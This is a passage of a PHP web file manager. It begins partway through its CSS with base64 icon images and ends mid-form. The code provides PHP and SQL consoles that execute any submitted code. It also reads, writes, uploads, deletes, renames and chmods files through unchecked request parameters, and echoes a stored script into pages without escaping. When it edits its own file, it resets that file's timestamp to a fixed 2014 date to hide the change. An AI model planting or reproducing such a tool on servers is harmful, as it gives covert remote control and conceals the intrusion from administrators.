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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
